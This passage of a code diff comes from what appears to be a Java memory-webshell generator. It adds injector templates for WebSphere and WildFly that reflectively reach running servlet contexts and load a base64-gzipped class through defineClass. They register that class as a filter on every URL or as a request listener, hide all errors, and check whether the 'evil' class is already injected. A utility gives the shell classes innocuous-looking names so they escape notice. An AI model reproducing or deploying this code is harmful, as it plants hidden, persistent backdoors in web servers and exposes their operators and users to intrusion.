ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj.getClass(), fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
|
||||
getF(obj.getClass(), fieldName).set(obj, fieldValue);
|
||||
}
|
||||
|
||||
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class WebSphereListenerInjectorTpl {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebSphereListenerInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WebSphereListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFV(obj, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFV(stack, "config");
|
||||
context = getFV(getFV(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = listenerClass.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
List listeners = (List) getFV(context, "servletRequestListeners");
|
||||
// 判断是否已经存在
|
||||
if (!listeners.contains(listener)) listeners.add(listener);
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj.getClass(), fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
|
||||
try {
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
}catch (Exception ignored){
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class WildFlyFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WildFlyFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WildFlyFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
try {
|
||||
if (isInjected(context, getClassName())) {
|
||||
return;
|
||||
}
|
||||
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class WildFlyListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WildFlyListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public WildFlyListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
injectListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
|
||||
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
|
||||
public void injectListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String className) throws Exception {
|
||||
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
for (int i = 0; i < allListeners.size(); i++) {
|
||||
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
|
||||
if (listener.getName().contains(className)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package jmg.core.util;
|
||||
|
||||
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
|
||||
|
||||
public class ClassNameUtil {
|
||||
static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
|
||||
static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
|
||||
|
||||
|
||||
public static String getRandomName(String[]... arrays) {
|
||||
List<String> classNames = new ArrayList<>();
|
||||
for (String[] array : arrays) {
|
||||
for (String className : array) {
|
||||
classNames.add(className);
|
||||
}
|
||||
}
|
||||
Random random = new Random();
|
||||
int index = random.nextInt(classNames.size());
|
||||
return classNames.get(index);
|
||||
}
|
||||
|
||||
|
||||
public static String generateRandomString() {
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
|
||||
for (int i = 0; i < length; i++) {
|
||||
char c = (char) (random.nextInt(26) + 'a');
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getRandomInjectorClassName(){
|
||||
|
||||
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||
}
|
||||
|
||||
public static String getRandomExtenderClassName(){
|
||||
|
||||
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||
}
|
||||
|
||||
public static String getRandomLoaderClassName(){
|
||||
|
||||
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||
}
|
||||
|
||||
|
||||
public static String getClassPrefixName(){
|
||||
return ClassNameUtil.getRandomName(prefixNames);
|
||||
}
|
||||
|
||||
public static String getRandomShellClassName(String shellType) {
|
||||
|
||||
if (shellType.contains(Constants.SHELL_LISTENER)){
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
|
||||
}
|
||||
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
|
||||
}
|
||||
if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
|
||||
}
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,312 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.jMGCodeApi;
|
||||
import me.gv7.woodpecker.tools.common.FileUtil;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Arrays;
|
||||
import java.util.Random;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public class CommonUtil {
|
||||
|
||||
// 合并两个数组
|
||||
public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
|
||||
int length1 = array1.length;
|
||||
int length2 = array2.length;
|
||||
|
||||
T[] result = Arrays.copyOf(array1, length1 + length2);
|
||||
|
||||
System.arraycopy(array2, 0, result, length1, length2);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public static void setFV(Object var0, String var1, Object val) throws Exception {
|
||||
getF(var0, var1).set(var0, val);
|
||||
}
|
||||
|
||||
public static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
|
||||
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static String generateRandomString() {
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int length = random.nextInt(5) + 2;
|
||||
for (int i = 0; i < length; i++) {
|
||||
char c = (char) (random.nextInt(26) + 'a');
|
||||
if (i == 0) {
|
||||
c = Character.toUpperCase(c);
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String var0) throws Exception {
|
||||
byte[] var2 = null;
|
||||
|
||||
Class var1;
|
||||
try {
|
||||
var1 = Class.forName("java.util.Base64");
|
||||
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
|
||||
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
var1 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object var4 = var1.newInstance();
|
||||
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return var2;
|
||||
}
|
||||
|
||||
|
||||
public static String encodeBase64(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
|
||||
public static String genRandomLengthString(int minLength) {
|
